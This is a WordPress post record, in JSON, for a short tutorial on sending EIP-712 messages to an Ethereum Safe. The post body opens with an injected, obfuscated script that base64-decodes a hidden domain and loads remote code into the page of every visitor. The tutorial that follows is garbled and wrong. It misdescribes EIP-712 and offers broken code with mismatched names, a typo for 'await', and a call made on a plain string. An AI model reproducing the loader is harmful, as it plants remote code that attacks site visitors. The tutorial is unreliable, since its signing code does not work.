{"id":481,"date":"2025-02-03T20:56:19","date_gmt":"2025-02-03T20:56:19","guid":{"rendered":"https:\/\/hccmena.com\/?p=481"},"modified":"2025-02-03T20:56:19","modified_gmt":"2025-02-03T20:56:19","slug":"ethereum-sending-eip-712-message-to-safe","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/03\/ethereum-sending-eip-712-message-to-safe\/","title":{"rendered":"Ethereum: Sending EIP-712 message to Safe"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=2404b3fa\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Ethereum Smart Contract: Sending an EIP-712 Message Using APIKit<\/strong><\/p>\n<p>In this article, we will explore how to send a secure EIP-712 message using an API Kit contract on the Ethereum blockchain.<\/p>\n<p><strong>What is EIP-712?<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Sending EIP-712 message to Safe\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/8b3866f8.png\"><\/p>\n<p>EIP-712 is a specification for digital signatures that enables secure communication between parties. It uses a combination of cryptographic hash functions and the keccak-256 hash function to create a unique identifier for each contract or smart contract.<\/p>\n<p><strong>Using APIKit to send an EIP-712 message<\/strong><\/p>\n<p>APIKit is a popular library used to interact with the Ethereum blockchain. Here is how you can send an EIP-712 message using APIKit:<\/p>\n<p><pre><code><\/p><p>const name = wait dlhToken.call(\"name\");<\/p><p>const version = 1;<\/p><p>const nonce = \"0\";<\/p><p>\/\/ Create a new EIP-712 message<\/p><p>const msg = {<\/p><p>type: 'EIP-712 v4',<\/p><p>value: {<\/p><p>kind: 'Summary',<\/p><p>hash: sha256(name, version, nonce),<\/p><p>},<\/p><p>};<\/p><p>\/\/ Send the message to Safe<\/p><p>const safeAddress = '0x...'; \/\/ Replace with the Safe contract address<\/p><p>safeAddress.call(msg);<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Usage example<\/strong><\/p>\n<p>In this example, we call a function on the <code>debtToken<\/code> contract, passing its name as a parameter. An EIP-712 message is created with the current version (1) and nonce (0). We then send this message to the Safe address using the <code>call()<\/code> method.<\/p>\n<p><strong>Important Notes<\/strong><\/p>\n<ul>\n<li>Always use safe and reliable methods to interact with the Ethereum blockchain, such as using a trusted wallet or reputable contract.<\/li>\n<\/ul>\n<ul>\n<li>Before sending EIP-712 messages, ensure that you have the correct permissions and access control mechanisms in place.<\/li>\n<\/ul>\n<ul>\n<li>Be aware of the potential risks associated with EIP-712 messages, including their vulnerability to replay attacks. Always handle these cases with caution.<\/li>\n<\/ul>\n<p>Following this guide, you can securely send an EIP-712 message using APIKit and interact with other Ethereum smart contracts or a Safe Address.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum Smart Contract: Sending an EIP-712 Message Using APIKit In this article, we will explore how to send a secure EIP-712 message using an API Kit contract on the Ethereum blockchain. What is EIP-712? EIP-712 is a specification for digital signatures that enables secure communication between parties. It uses a combination of cryptographic hash functions [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/481"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=481"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/481\/revisions"}],"predecessor-version":[{"id":482,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/481\/revisions\/482"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=481"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=481"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=481"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}